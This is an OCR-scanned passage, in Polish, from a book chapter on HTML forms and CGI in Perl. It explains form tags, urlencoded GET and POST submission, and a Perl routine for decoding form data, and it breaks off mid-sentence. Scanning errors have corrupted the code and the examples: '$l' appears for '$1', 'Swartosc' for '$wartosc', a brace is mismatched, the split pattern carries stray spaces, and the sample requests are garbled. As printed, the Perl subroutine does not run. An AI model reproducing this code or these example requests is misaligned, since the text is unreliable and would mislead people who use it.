Rozdział 4 Formularze i CGI Formularze HTML stanowią interfejs użytkownika, który umożliwia wprowadzanie danych i przekazywanie ich do skryptów CGI. Pierwotnie były używane do dwóch celów: zbierania danych i przyjmowania poleceń. Przykładami tak zbieranych danych są: informacje rejestracyjne, informacje o płatności oraz internetowe sondaże. Za pośrednictwem formularzy można również odbierać polecenia wydawane za pomocą list rozwijanych, pól wyboru, zwykłych list oraz przycisków, odpowiadających za różne aspekty funkcjonalne aplikacji. W wielu wypadkach formularze zawierają elementy obydwu rodzajów: do zbierania danych i do sterowania działaniem aplikacji. Wielką zaletą formularzy HTML jest to, że mogą służyć do tworzenia fasady graficznej rozmaitych bram (na przykład baz danych lub innych serwerów informacyjnych), do których klient mógłby sięgać bez kłopotów wynikających z odmienności platform. Aby dane z formularza HTML mogły zostać przetworzone, przeglądarka musi je wysłać poprzez żądanie HTTP. Skrypt CGI nie ma wglądu po stronie klienta do danych wprowadzonych przez użytkownika; użytkownik musi nacisnąć przycisk zlecania wysyłki, zaś wprowadzone dane mogą być przeanalizowane dopiero po ich dotarciu do serwera. Niemniej JavaScript może wykonywać działania w samej przeglądarce. W połączeniu ze skryptami CGI pozwala stworzyć bardziej komunikatywny interfejs użytkownika. Jak to zrobić, pokażemy w rozdziale 7, „JavaScript". W niniejszym rozdziale omawiamy: • w jaki sposób dane z formularzy przekazywane są do serwera, • jak pisać kod formularzy za pomocą znaczników HTML, • jak skrypty CGI dekodują dane z formularzy.
Wysyłanie danych do serwera W poprzednich rozdziałach odwoływaliśmy się do elementów, które przeglądarka może umieścić w żądaniu HTTP. W wypadku żądania GET elementy te umieszczane są w łańcuchu zapytania, będącego częścią URL-a przekazywanego w wierszu żądania. W wypadku żądania POST elementy te umieszczane są w treści żądania HTTP. Elementy te zazwyczaj generowane są przez formularze HTML. Z każdym elementem formularza HTML skojarzona jest nazwa i wartość, na przykład z tym polem wyboru: <INPUT TYPE="checkbox" NAME="wyslij_poczte" VALUE="yes"> Jeżeli pole wyboru będzie zaznaczone, do serwera Web zostanie wysłany element o nazwie wyślij_poczte z wartością yes. Pozostałe elementy formularza, którym za chwilę się przyjrzymy, działają podobnie. Zanim przeglądarka wyśle do serwera dane z elementami formularza, najpierw musi je zakodować. Obecnie istnieją dwie różne formy kodowania danych formularza. Niemal wyłącznie stosowane jest kodowanie domyślne, którego typ nośnika to application/x-www-form-urlencoded. Druga forma, multipart/form-data, używana jest głównie wraz z formularzami, które umożliwiają użytkownikom wysyłanie plików do serwera Web. Zajmiemy się nią w podrozdziale „Pliki przysyłane do serwera i CGI.pm" w rozdziale 5. Tymczasem popatrzmy, jak działa application/x-wivw-form-urlencoded. Jak wspomnieliśmy, każdy element formularza HTML ma atrybuty: nazwę i wartość. Najpierw przeglądarka odczytuje nazwy i wartości każdego elementu formularza. Następnie koduje zebrane pary według tych samych reguł, które stosowane są przy kodowaniu tekstu w URL-ach, o czym pisaliśmy w rozdziale 2, „HTTP - protokół transferu hipertekstu". Przypomnijmy: znaki o specjalnym znaczeniu w protokole HTTP zastępowane są symbolem procentu i dwucyfrową liczbą szesnastkową; spacje zastępowane są plusami. Na przykład łańcuch „Witamy nowego pacjenta!" zo stałby przekształcony na „Witamy+nowego+pacjenta%21".
Programowanie CGI w Perlu
35
Następnie przeglądarka łączy każdą nazwę i wartość znakiem równości. Jeśli użyt kownik przy pytaniu o wiek wprowadził na przykład wartość „30", para klucz-war tość mogłaby mieć postać „wiek=30". Z kolei poszczególne pary klucz- wartośi łączone są znakiem „&". Oto przykład formularza HTML: <HTML> <HEAD> <TITLE>Lista wysyłkowa</TITLE> </HEAD> <BODY> <Hl>Zapisywanie się na listę wysyłkową</Hl> <P>Prosimy o wypełnienie tego formularza, jeśli chcą Państwo otrzymywać pocztą elektroniczną powiadomienia o nowych produktach i uaktualnieniach. </P> <FORM ACTION="/cgi/register.cgi" METHOD="POST"> <P> Imię i nazwisko: <INPUT TYPE="TEXT" NAME="nazwa"><BR> Adres elektroniczny: <INPUT TYPE="TEXT" NAME="email"><BR> </P> <HR> <INPUT TYPE="SUBMIT" VALUE="Wyśli j informacje rejestracyjne"> </FORM> </BODY> </HTML> Po naciśnięciu przycisku zlecenia wysyłki przeglądarka koduje trzy jego elementy w postaci: nazwa=Maria+Nowak&email=mnowak%40nowak.com Ponieważ w tym przykładzie metodą żądania jest POST, łańcuch ten zostałby dołączony do żądania HTTP jako treść wiadomości. Wiadomość ta wyglądałaby następująco: POST /cgi/register.cgi HTTP/1.l Host: localhost Content-Length: 67 Content-Type: application/x-www-form-urlencoded nazwa=Maria+Nowaksemail=mnowak%40nowak.com Jeżeli natomiast metodą byłoby GET, to żądanie zostałoby sformatowane następująco: GET /cgi/register.cgi?nazwa=Maria+Nowak&email=mnowak%40nowak.com HTTP/1.l Host: localhost
Znaczniki formularzy Kompletne omówienie HTML-a oraz projektowania interfejsu użytkownika wykracza poza zakres niniejszej książki. Ukazało się wiele innych książek obszernie traktujących o tych zagadnieniach, na przykład HTML - Podręcznik użytkownika Chucka Musciano i Billa Kennedy'ego (Wydawnictwo RM). Niemniej w wielu publikacjach nie są rozważane związki między elementami formularza HTML a odpowiadającymi im danymi wysyłanymi do serwera Web po zleceniu wysyłki formularza. Dokonajmy zatem pobieżnego przeglądu elementów formularza, zanim przyjrzymy się, jak skrypty CGI je przetwarzają. Spis znaczników formularzy Zanim wgłębimy się w szczegóły, zapoznajmy się z tabelą 4.1, zawierającą zwięzłe zestawienie wszystkich możliwych znaczników formularzy. Tabela 4.1. Znaczniki formularzy HTML Znacznik formularza Opis <FORM ACTION="/cgi/register.cgi" METHOS="POST"> Początek formularza <INPUT TYPE="text" NAME="nazwa" VALUE="wartość" SIZE="rozmiar"> Pole tekstowe <INPUT TYPE="password" NAME="nazwa" VALUE="wartość" SIZE="rozmiar"> Pole hasła <INPUT TYPE="hidden" NAME="nazwa" VALUE="wartość"> Pole ukryte <INPUT TYPE="checkbox" NAME="nazwa" VALUE="wartość"> Pole wyboru <INPUT TYPE="radio" NAME="nazwa" VALUE="wartość"> Przycisk opcji <SELECT NAME="nazwa" SIZE=1> <OPTION SELECTED>Jeden</OPTION> Lista rozwijana <OPTION>Dwa</OPTION> </SELECT> <SELECT NAME="nazwa" SIZE=n MULTIPLE> <OPTION SELECTED>Jeden</OPTION> Lista zwykła <OPTION>Dwa</OPTION> (Pole listy) </SELECT> <TEXTAREA ROWS=yy COLS=xx NAME="nazwa"> Wielowierszowe pole tekstowe </TEXTAREA> <INPUT TYPE="submit" NAME="nazwa" VALUE="wartość"> Przycisk zlecania wysyłki <INPUT TYPE="image" SRC="/obrazek.gif' NAME="nazwa" VALUE="wartość"> Przycisk graficzny <INPUT TYPE="reset" VALUE="Komunikat!"> Przycisk zerowania
Programowanie CGI w Perlu
</FORM>
36
Koniec formularza
Znacznik <FORM> Wszystkie formularze zaczynają się znacznikiem <FORM>, a kończą znacznikiem </FORM>: <FORM ACTION="/cgi/register.cgi" METHOD="POST"> </FORM> Zlecenie wysłania formularza, tak jak kliknięcie hiPerlacza, generuje żądanie HTTP, które jednak prawie zawsze jest skierowane do skryptu CGI (lub podobnego dynamicznego zasobu). Format żądania HTTP określa się za pomocą atrybutów znacznika <FORM>: METHOD Atrybut METHOD określa metodę żądania HTTP używaną przy wywoływaniu skryptu CGI. Możliwe wartości to GET i POST, które odpowiadają metodom żądania podawanym w wierszu żądania HTTP, przy czym tutaj nie ma znaczenia wielkość liter. Jeśli metoda nie zostanie podana, domyślnie przyjmowana jest metoda GET. ACTION Atrybut ACTION określa URL skryptu CGI, który powinien odebrać żądanie HTTP. URL tworzony jest przez skrypt CGI. Domyślnie jest to ten sam URL, spod którego przeglądarka pobrała formularz. Nie ma wymogu, aby dekodowaniem informacji z formularza zajmował się program CGI na tym samym serwerze; można podać URL zdalnego hosta, jeśli program, który ma wykonać określone operacje, właśnie tam jest dostępny. ENCTYPE Atrybut ENCTYPE określa typ nośnika użyty przy kodowaniu treści żądania HTTP. Ponieważ żądania GET nie mają części zasadniczej, atrybut ten ma znaczenie tylko wtedy, gdy formularz oparty jest na metodzie POST. ENCTYPE jest rzadko stosowany, ponieważ typ domyślny - application/x-wivw-form-urlencoded -jest odpowiedni w większości wypadków. Praktycznie jedynym powodem, aby podać inny typ nośnika, jest utworzenie formularza umożliwiającego wysyłanie plików. Wówczas należy zastosować typ multipart/form-data. Tę drugą możliwość omówimy później. onSubmit onSubmit dotyczy obsługi zdarzeń i określa kod JavaScriptu, który powinien być wykonany, gdy zlecana jest wysyłka formularza. Jeśli kod zwróci wartość „fałsz", wysyłka zostanie anulowana. W niniejszym rozdziale wymienimy procedury, które skojarzone są z poszczególnymi elementami formularza HTML, choć dokładniejszym omówieniem samego JavaScriptu zajmiemy się dopiero w rozdziale 7, „JavaScript". Dokument może zawierać wiele formularzy, przy czym jednych formularzy nie można zagnieżdżać w drugich. Znacznik <INPUT> Za pomocą znacznika <INPUT> można wygenerować szeroką gamę formularzowych elementów. Do ich rozróżniania służy atrybut TYPE. Każdy znacznik <INPUT> ma ten sam ogólny format: <INPUT TYPE="text" NAME="nazwa_elementu" VALUE="Wartość domyślna"> Temu znacznikowi, tak jak <BR>, nie towarzyszy znacznik zamykający. Podstawowe atrybuty, wspólne dla znaczników <INPUT> wszystkich typów są następujące: TYPE Atrybut TYPE określa, jakiego typu element ma zostać wyświetlony. Poszczególne typy prezentujemy w dalszej części podrozdziału. NAME Atrybut NAME określa nazwę elementu. Jest bardzo istotny, ponieważ skrypt CGI właśnie poprzez nazwę sięga do wartości wysłanych elementów formularza. VALUE Znaczenie atrybutu VALUE, czyli wartości, zmienia się w zależności od typu elementu. Właściwość tę omówimy przy opisywaniu poszczególnych typów. Przyjrzyjmy się każdemu z typów elementów wprowadzania danych. Pola tekstowe Jednym z podstawowych zastosowań znacznika <INPUT> jest generowanie pól tekstowych, w których użytkownicy mogą wprowadzić wiersz danych (zob. rysunek 4.2). Pola tekstowe są typem domyślnym; jeśli pominiemy atrybut TYPE, uzyskamy pole tekstowe. Oto przykładowy zapis HTML pola tekstowego: <INPUT TYPE="text" NAME="ilość" VALUE="1" SIZE="3" MAXLENGTH="3"> Atrybuty odnoszące się do pól tekstowych są następujące: VALUE Atrybut VALUE pól tekstowych określa tekst wyświetlany wstępnie w polu tekstowym, gdy formularz jest przedstawiany użytkownikowi. Ustawieniem domyślnym jest pusty łańcuch. Użytkownik może zmieniać wartości w polach tekstowych; wprowadzona zmiana odzwierciedlana jest zarówno na ekranie, jak i w wartości wysyłanej wraz z formularzem. SIZE Atrybut SIZE określa szerokość wyświetlanego pola tekstowego. Z grubsza odpowiada liczbie znaków mieszczących się w polu, lecz na ogół taka miara jest dokładna tylko wtedy, gdy element objęty jest znacznikami <TT> lub <PRE>, wskazującymi na czcionkę o stałej szerokości znaków. Niestety, Netscape i Internet Explorer bardzo różnie odwzorowują szerokość pól, gdy użyta zostanie wspomniana czcionka, więc formularze koniecznie należy testować na obydwu przeglądarkach. Domyślnym rozmiarem pola tekstowego jest 20.
Programowanie CGI w Perlu
37
MAXLENGTH Atrybut MAXLENGTH określa maksymalną liczbę znaków mieszczących się w polu tekstowym. Przeglądarki na ogół nie pozwalają użytkownikom wprowadzić więcej znaków niż zostanie podane w tym atrybucie. Ponieważ rozmiar pól tekstowych może być różny w wypadku czcionek o zmiennej szerokości znaków, więc możliwe jest, że po ustawieniu MAXLENGTH i SIZE na tę samą wartość pola okażą się za duże lub za małe dla podanej liczby znaków. Atrybut MAXLENGTH może być ustawiony na więcej znaków niż liczba znaków wyświetlanych na podstawie atrybutu SIZE. Domyślnie na liczbę znaków w polach tekstowych nie są nakładane ograniczenia. onFocus, onBlur, onChange onFocus, onBlur i onChange są javascriptowymi procedurami obsługi wywoływanymi, gdy pole tekstowe otrzymuje fokus (zogniskowanie obsługi - w polu znajduje się kursor wprowadzania danych), gdy traci fokus (kursor opuszcza pole) oraz gdy zmienia się wartość pola. Pola haseł Pole hasła jest podobne do pola tekstowego, z tym że przeglądarka, zamiast wyświetlać faktyczną wartość, każdy znak zastępuje gwiazdką lub dużą kropką (zob. wcześniejszy rysunek 4.2): <INPUT TYPE="password" NAME="haslo_nowe" VALUE="haslo_stare" SIZE="8" MAXLENGTH="8"> Pole to nie gwarantuje prawdziwego bezpieczeństwa; zapewnia jedynie elementarne zabezpieczenie przed podejrzeniem przez osobę postronną. Wartość nie jest szyfrowana, gdy transferowana jest do serwera Web, co oznacza, że hasła jawnie wchodzą w skład łańcucha zapytania żądania GET. Do pól haseł odnoszą się wszystkie atrybuty pól tekstowych. Pola ukryte Pola ukryte są niewidoczne dla użytkownika. Zasadniczo stosowane są tylko w formularzach, które generowane są przez skrypty CGI. Przydają się przy przesyłaniu informacji między kolejnymi formularzami w serii: <INPUT TYPE="hidden" NAME="nazwa_uzytkownika" VALUE="jnowak"> Pola ukryte, tak jak pola haseł, nie zapewniają bezpieczeństwa. Użytkownicy mogą podejrzeć nazwy i wartości pól ukrytych, wyświetlając w przeglądarkach źródłowy kod HTML. Pola ukryte o wiele dokładniej omówimy w rozdziale 11, „Utrzymywanie stanu". Pola ukryte mają tylko atrybuty NAME i VALUE. Pola wyboru Pola wyboru przydają się, gdy użytkownik ma wskazać możliwość, którą wybiera (zob. rysunek 4.3). Użytkownik może przełączać pola wyboru na zmianę do dwóch stanów: zaznaczonego i niezaznaczonego. Oto przykładowy znacznik: <INPUT TYPE="checkbox" NAME="dodatki" VALUE="salata" CHECKED> W tym przykładzie, jeśli użytkownik zaznaczy pole wyboru, to z elementem „dodatki" zwrócona zostanie wartość „sałata". Jeżeli pole wyboru nie jest zaznaczone, to ani jego nazwa, ani wartość nie są zwracane. Możliwe jest użycie kilku pól wyboru o tej samej nazwie. Jest to nawet dość częste. Typowym przykładem jest dynamiczna lista pokrewnych możliwości do wyboru, przy czym w stosunku do każdej z nich użytkownik może podjąć podobną decyzję. Na liście można umieścić kilka pozycji w następujący sposób: <INPUT TYPE="checkbox" NAME="salata"> Salata<BR> <INPUT TYPE="checkbox" NAME="pomidory"> Pomidory<BR> <INPUT TYPE="checkbox" NAME="cebula"> Cebula<BR> Gdyby jednak skryptowi CGI do wykonania zadania nie była potrzebna znajomość nazwy każdej pozycji, lista mogłaby mieć następującą postać: <INPUT TYPE="checkbox" NAME="dodatki" VALOE="salata"> Sałata<BR> <INPUT TYPE="checkbox" NAME="dodatki" VALUE="pomidory"> Pomidory<BR> <INPUT TYPE="checkbox" NAME="dodatki" VALUE="cebula"> Cebula<BR> Jeśli ktoś zaznaczy pole wyboru „sałata" i „pomidory", a nie zaznaczy pola „cebula", przeglądarka zakoduje wybór jako dodatki=salata&dodatki=pomidory. Skrypt CGI można napisać tak, aby przetwarzał takie zwielokrotnione „dodatki". Wówczas, dodając do listy kolejne pozycje, nie byłoby trzeba uaktualniać skryptu. Atrybuty pól wyboru: VALUE Atrybut VALUE określa wartość, która włączana jest do żądania, gdy pole wyboru jest zaznaczone. Jeśli ten atrybut nie zostanie podany, wartością zwróconą przez pole wyboru będzie „ON". Jeżeli pole wyboru nie będzie zaznaczone, to nie zostaną wysłane ani jego nazwa, ani wartość. CHECKED Atrybut CHECKED wskazuje, że pole wyboru powinno być domyślnie zaznaczone. Jeśli ten atrybut zostanie pominięty, pole wyboru nie będzie zaznaczone. onCheck Polom wyboru można też nadać atrybut onCheck, wskazujący kod w JavaScripcie, który powinien zostać wykonany po zaznaczeniu pola wyboru. Przyciski opcji Przyciski opcji są bardzo podobne do pól wyboru, z tym że przyciski opcji o tej samej nazwie działają w sposób zależny: tylko jeden z nich może być równocześnie zaznaczony (zob. rysunek 4.4). Zapis znacznika przycisku opcji jest taki sam jak pola wyboru: <INPUT TYPE="radio" NAME="chleb" VALUE="pszenny" CHECKED> Pszenny<BR>
Programowanie CGI w Perlu
38
<INPUT TYPE="radio" NAME="chleb" VALUE="bialy"> Biały<BR> <INPUT TYPE="radio" NAME="chleb" VAŁUE="zytni"> Żytni<BR> W tym przykładzie domyślnie zaznaczony jest przycisk opcji „pszenny". Zaznaczenie pozycji „biały" lub „żytni" sprawi, że zaznaczenie pozycji „pszenny" zostanie cofnięte. Chociaż w polach wyboru atrybut VALUE można pominąć, w wypadku przycisków opcji nie ma to sensu, ponieważ, jeśli wszystkie zwrócą „ON", skrypt CGI nie będzie w stanie żadnego z nich wyróżnić. Użycie atrybutu CHECKED w kilku przyciskach opcji o tej samej nazwie nie jest poprawne. Przeglądarki na ogół przedstawiają wszystkie takie przyciski jako zaznaczone, lecz kiedy tylko użytkownik zaznaczy konkretną pozycję, wszystkim pozostałym zaznaczenie zostanie cofnięte, a użytkownik nie będzie mógł przywrócić stanu początkowego (oczywiście pod warunkiem, że nie ma przycisku zerowania formularza). W przyciskach opcji stosuje się te same atrybuty, co w polach wyboru. Przyciski zlecania wysyłki Funkcja przycisku zlecania wysyłki odpowiada jego nazwie. Służy do wysyłania zawartości formularza (zob. rysunek 4.5). Gdy użytkownik kliknie taki przycisk, przeglądarka uruchomi skojarzoną z przyciskiem javascriptową procedurę obsługi onSubmit, sformatuje żądanie HTTP zgodnie z metodą i typem kodowania określonymi w formularzu, następnie wyśle to żądanie do URL-a podanego w atrybucie ACTION formularza. Rezultat zostanie następnie wyświetlony jako nowa strona Web. Przykładowy HTML przycisku zlecania wysyłki wygląda następująco: <INPUT TYPE="submit" NAME="przycisk_wysylki" VALUE="Wyślij formularz"> Praktycznie wszystkie formularze mają ten przycisk. Co więcej, w jednym formularzu można ich zastosować kilka: <INPUT TYPE="submit" NAME="opcja" VALUE="Opcja 1"> <INPUT TYPE="submit" NAME="opcja" VALUE="Opcja 2"> Przy wysyłaniu formularza uwzględniana jest nazwa i wartość tylko tego przycisku, który został kliknięty. Oto atrybuty: VALUE Atrybut VALUE w wypadku przycisków zlecania wysyłki określa tekst, który powinien zostać wyświetlony na przycisku, a także wartość przypisywaną do elementu wysyłanego zwrotnie z formularzem. Jeśli wartość zostanie pominięta, przeglądarka opatrzy przycisk etykietą domyślną - zwykle jest to „Wyślij" lub „Submit" - i nie wyśle jego nazwy ani wartości. onClick Z przyciskiem zlecania wysyłki można skojarzyć javascriptową procedurę obsługi onClick, wykonywaną po kliknięciu przycisku przez użytkownika. Zwrócenie przez ten kod wartości „fałsz" powoduje, że operaq'a wysyłania zostaje anulowana. Przyciski zerowania Przycisk zerowania („resetowania") umożliwia użytkownikowi przywrócenie domyślnych wartości wszystkich pól formularza. Z perspektywy użytkownika przycisk ten ma w zasadzie takie samo działanie, jak ponowne wczytanie formularza do przeglądarki, lecz jest ono szybsze i wygodniejsze. Ponieważ przeglądarka nie komunikuje się wtedy z serwerem Web, użycie tego przycisku nigdy nie pociąga za sobą reakcji ze strony skryptów CGI. Oto przykładowy znacznik HTML: <INPUT TYPE="reset" VALUE="Przywróć oryginalne wartości"> Na jednym formularzu można umieścić kilka dalszych przycisków zerowania, chociaż niemal na pewno będą zbyteczne. NAME W przyciskach zerowania można określić atrybut NAME, lecz ani nazwa, ani wartość nigdy nie są przekazywane do skryptu CGI. Dlatego nazwa znajduje zastosowanie wyłącznie w kodzie JavaScript. VALUE Atrybut VALUE określa etykietę tekstową, która ma się pojawić na przycisku. onClick Przyciski zerowania, tak jak przyciski zlecania wysyłki, mogą mieć atrybut onClick, określający kod w JavaScripcie wykonywany wtedy, gdy użytkownik kliknie przycisk; zwrócenie przez ten kod wartości „fałsz" spowoduje anulowanie operacji zerowania. Przyciski graficzne Funkcję przycisków mogą też pełnić obrazki. Działanie przycisków graficznych nie różni się od działania przycisków zlecania wysyłki, zapewniają jednak o wiele większą swobodę, gdy chodzi o wygląd przycisku. Należy przy tym pamiętać, że użytkownicy na ogół przyzwyczajeni są do formy przycisku zastosowanej w danej przeglądarce i systemie operacyjnym oraz że przycisk o innej postaci może być mylący dla nowicjusza. Oto przykładowy zapis HTML przycisku graficznego: <INPUT TYPE="image" SRC="/icons/przycisk.gif" NAME="wynik" VALUE="sam tekst"> Element ten zostanie odmiennie potraktowany przez przeglądarki graficzne i wyłącznie tekstowe. Przeglądarki wyłącznie tekstowe, na przykład Lynx, wyślą nazwę i wartość razem, tak jak większość innych elementów formularza: wynik=sam+tekst Natomiast przeglądarki graficzne, na przykład Netscape lub Internet Explorer, oprócz nazwy przycisku wyślą współrzędne miejsca klikniętego przez użytkownika. Wartość nie jest wysyłana. Współrzędne te wyrażają się w pikselach liczonych względem lewego górnego rogu obrazu (zob. rysunek 4.6). W wypadku współrzędnych pokazanych na rysunku przeglądarka graficzna wysłałaby następujący zapis:
Programowanie CGI w Perlu
39
action.x=50Saction.y=20 Oto atrybuty przycisków graficznych: VALUE Atrybut VALUE wysyłany jest przez przeglądarki tekstowe jako wartość elementu. SRC Atrybut SRC określa URL obrazu wyświetlanego na przycisku, tak jak w wypadku częściej stosowanego znacznika <IMG> (sam znacznik <IMG> może się wydawać mało znany, ponieważ spotykany jest w parze z nieodłącznym atrybutem SRC: <IMG SRC=...>). onClick Funkcja tego atrybutu jest taka sama, jak w standardowym przycisku zlecania wysyłki. Zwykłe przyciski Ostatnim opisywanym przez nas typem przycisku jest po prostu... przycisk. Nie ma on specjalnych funkcji. Aby nie mylić go z innymi rodzajami przycisków, w książce będziemy go nazywać zwykłym przyciskiem. Znacznik zwykłego przycisku wygląda tak, jak przycisku zlecania wysyłki lub zerowania: <INPUT TYPE="button" VALUE="Pozdrowienie..." onClick="alert( 'Czołem!’ );"> Nazwa i wartość zwykłego przycisku nigdy nie są przekazywane do skryptu CGI. Ponieważ zwykły przycisk nie ma ściśle określonego działania, niecelowe jest stosowanie go bez atrybutu onClkk: NAME Atrybut NAME, określający nazwę przycisku, nigdy nie jest włączany do wysyłanego żądania, więc jego zastosowanie ogranicza się do kodu w JavaScripcie. VALUE Atrybut VALUE określa napis na przycisku. onClick Atrybut onClick określa kod, który ma być uruchomiony po kliknięciu przycisku. Wartość zwracana przez ten kod nie pociąga za sobą żadnych skutków, ponieważ działanie zwykłych przycisków ogranicza się do skojarzonego z nimi kodu. Znacznik <SELECT> Znacznik <SELECT> służy do tworzenia list, w których użytkownicy mogą wybierać spośród określonych pozycji. Można utworzyć dwa elementy różniące się wyglądem, lecz pełniące podobną funkcję: listę przewijaną (zwykłą, inaczej: pole listy) oraz listę rozwijaną (niekiedy nazywaną też polem menu). Obydwa elementy przedstawia rysunek 4.7. Inaczej niż elementy <INPUT>, elementy <SELECT> mają znacznik otwierający i zamykający. Oto przykładowa lista rozwijana: Wybierz sposób płatności: <SELECT NAME="karta" SIZE=1> <OPTION SELECTED>American Express</OPTION> <OPTION>Discover</OPTION> <OPTION>Master Card</OPTION> <OPTION>Visa</OPTION> </SELECT> Oto przykład listy przewijanej: Wybierz preferowane formy rekreacji: <SELECT NAME="rekreacja" SIZE=4 MULTIPLE> <OPTION>Aerobik</OPTION> <OPTION>Aikido</OPTION> <OPTION>Koszykówka</OPTION> <OPTION>Turystyka rowerowa</OPTION> <OPTION>Golf</OPTION> <OPTION>Turystyka piesza</OPTION> </SELECT> W wypadku list przewijanych można umożliwić użytkownikom wybór kilku pozycji naraz. Takie pozycje są kodowane jako osobne pary nazwa-wartość, tak jak gdyby zostały określone za pomocą kilku osobnych elementów formularza. Na przykład, jeśli ktoś zaznaczy pozycje „Aikido", „Turystyka rowerowa" i „Turystyka piesza", przeglądarka zakoduje je w postaci rekreacja=Aikido&rekreacja=Turystyka+rowerowa&rekreacja=Turystyka+piesza. Atrybuty znacznika <SELECT> są następujące: SIZE Atrybut SIZE określa liczbę widocznych wierszy listy. SIZE o wartości l oznacza, że lista ma mieć postać listy rozwijanej. MULTIPLE Atrybut MULTIPLE umożliwia użytkownikowi zaznaczenie kilku pozycji naraz. Jest to możliwe tylko wtedy, gdy do atrybutu SIZE przypisana jest wartość większa niż 1. W niektórych systemach operacyjnych, aby zaznaczyć kilka pozycji, użytkownik musi dodatkowo przytrzymywać odpowiednie klawisze modyfikujące. Znacznik <OPTION> Znacznik <SELECT> nie ma atrybutu wartości (VALUE). W zamian każdą ewentualną wartość należy objąć znacznikiem <OPTION>.
Programowanie CGI w Perlu
40
Wartość wprowadzona atrybutem VALUE będzie mieć wyższy priorytet przy przekazywaniu do serwera niż normalnie użyta w danej opcji, na przykład: <OPTION VALUE="AMEX">American Express</OPTION> Znaczniki <OPTION> mają dwa nieobowiązkowe atrybuty: SELECTED Atrybut SELECTED wskazuje, że dana pozycja powinna być domyślnie zaznaczona. Gdy formularz jest wysyłany do serwera, razem z wartością utworzoną przez zaznaczone opcje jest wysyłana nazwa znacznika <SELECT>. VALUE Atrybut VALUE określa wartość przekazywaną wtedy, gdy dana opcja jest zaznaczona. Jeśli atrybut ten zostanie pominięty, jako wartość domyślnie zostanie przyjęty tekst zawarty między znacznikami <OPTION> i </OPTION>. Znacznik <TEXTAREA> Ostatni z omawianych tu elementów formularza, reprezentowany znacznikiem <TEXTAREA>, umożliwia użytkownikom wprowadzanie kilku wierszy tekstu (zob. rysunek 4.8). Obszar tekstowy definiowany jest znacznikami otwierającym i zamykającym: <TEXTAREA ROWS=10 COLS=40 NAME="komentarz" WRAP="virtual">Tekst domyślny</TEXTAREA> W wyniku powyższego zapisu powstanie przewijane pole tekstowe, którego obszar widoczny obejmuje dziesięć wierszy i czterdzieści kolumn. Znacznik <TEXTAREA> nie ma atrybutu VALUE. Tekst domyślny umieszcza się między znacznikiem otwierającym a zamykającym. Inaczej niż w wypadku innych znaczników HTML, białe znaki (czyli spacje, a także znaki przejścia do nowego wiersza) między <TEXTAREA> a </TEXTAREA> nie są ignorowane. Wyrazy „Tekst" i „domyślny" z powyższego przykładowego zapisu przeglądarka umieści w osobnych wierszach. Atrybuty znacznika <TEXTAREA> są następujące: COLUMNS Atrybut COLUMNS określa (w kolumnach) szerokość obszaru tekstowego, lecz tak jak w wypadku pól tekstowych i atrybutu SIZE, przeglądarki przyjmują różny rozmiar kolumn w wypadku czcionek o zmiennej szerokości znaków. ROWS Atrybut ROWS określa liczbę wierszy wyświetlanych w obszarze tekstowym. Paski przewijania umożliwiają dostęp do tekstu, który nie mieści się w widocznym obszarze. WRAP Atrybut WRAP określa, co powinna zrobić przeglądarka, gdy użytkownik w trakcie pisania dojdzie do prawej krawędzi pola. Należy pamiętać, że atrybut WRAP nie wszędzie jest implementowany jednakowo, co dotyczy również pozostałych znaczników i atrybutów. Chociaż obsługuje go większość przeglądarek, nie jest on ujęty w standardzie HTML 4.0. Nadanie atrybutowi WRAP wartośd „virtual" zwykle powoduje, że tekst jest zawijany w obszarze tekstowym, lecz wysyłany jest bez znaków przejścia do nowego wiersza. Nadanie wartości „phy-sical" powoduje, że tekst jest zawijany, a w tekście wysyłanym do serwera umieszczane są znaki podziału wiersza. W różnych systemach operacyjnych stosowane są różne znaki na oznaczenie końców wierszy. Jeśli atrybut WRAP zostanie pominięty lub otrzyma wartość „none", tekst po dojściu do prawego brzegu obszaru tekstowego będzie przewijany w poziomie.
Dekodowanie danych wprowadzonych do formularza Aby sięgnąć do informacji zawartych w wypełnionym formularzu, musimy zdekodować wysyłane do nas dane. Algorytm dekodowania jest następujący: 1.Odczytaj łańcuch zapytania zawarty w $ENV{QUERY_STRING}. 2.Jeśli metodą odczytaną z $ENV{REQUEST_METHOD} jest POST, na podstawie $ENV{CONTENT_LENGTH} określ rozmiar treści żądania i ze standardowego wejścia wczytaj ustaloną ilość danych. Dołącz te dane do danych odczytanych z łańcucha zapytania, jeśli takie są (powinny być połączone znakiem „&")• 3.Podziel wynik na części według znaku „&", oddzielającego pary nazwa-wartość (format jest następujący: nazwa=wartość&nazwa=wartość. . .). 4.Każdą parę nazwa=wartość podziel według znaku „=", aby otrzymać osobno nazwę i wartość. 5.Zdekoduj znaki zakodowane metodą „URL-ową" w nazwie i wartości. 6.Skojarz każdą nazwę z jej wartością (lub wartościami); pamiętaj, że z każdą nazwą opcji może być skojarzonych kilka wartości. Parametry formularza wysyłane są jako część zasadnicza żądania POST lub jako łańcuch zapytania żądania GET. Niemniej można utworzyć formularz oparty na metodzie POST i skierować go pod URL, w którym zawarty jest łańcuch zapytania. A zatem możliwe jest uzyskanie łańcucha zapytania w wypadku żądania POST. Oto pierwsze podejście do opisanej procedury: sub rozbierz_dane_z_formularza { my %dane_z_formularza; my $nazwa_wartosc; my @pary_nazwa_wartosc = split /&/, $ENV{QUERY_STRING}; if ( $ENV{REQUEST_METHOD} eq 'POST’ ) {
Programowanie CGI w Perlu
41
my $zapytanie = ""; read( STDIN, $zapytanie, $ENV{CONTENT_LENGTH} ) == $ENV{CONTENT_LENGTH} or return undef; push @pary_nazwa_wartosc, split /&/, $zapytanie; } foreach $nazwa_wartosc (@pary_nazwa_wartosc) { my ( $nazwa, $wartosc ) = split / = /, $nazwa_wartosc; $nazwa =~ tr/+/ /; $nazwa =~ s/%([\da-f][\da-f])/chr( hex($l) )/egi; $wartosc = "" unless defined Swartosc; $wartosc =~ tr/+/ /; $wartosc =~ s/%([\da-f][\da-f])/chr( hex($l) )/egi; $dane_z_formularza($nazwa} = $wartosc; } return %dane z formularza; } Procedury rozbierz_dane_z_formularza można użyć następująco: my %zapytanie = rozbierz_dane_z_formularza() or error ( "Niepoprawne żądanie" ); my $rekreacja = $zapytanie{rekreacja}; Łańcuch zapytania dzielimy na pary nazwa-wartość, a następnie każdą z nich umieszczamy w @pary_nazwa_wartosc. Ponieważ między poszczególnymi parami klient umieszcza znak „&", w poleceniu split jako separator podany został właśnie ten znak. Jeżeli metodą żądania jest POST, to odczytujemy także treść żądania z STDIN. Jeśli liczba odczytanych bajtów nie zgadza się z liczbą, której oczekujemy, zwracamy undef. Mogłoby się tak zdarzyć, gdyby użytkownik nacisnął przycisk Stop 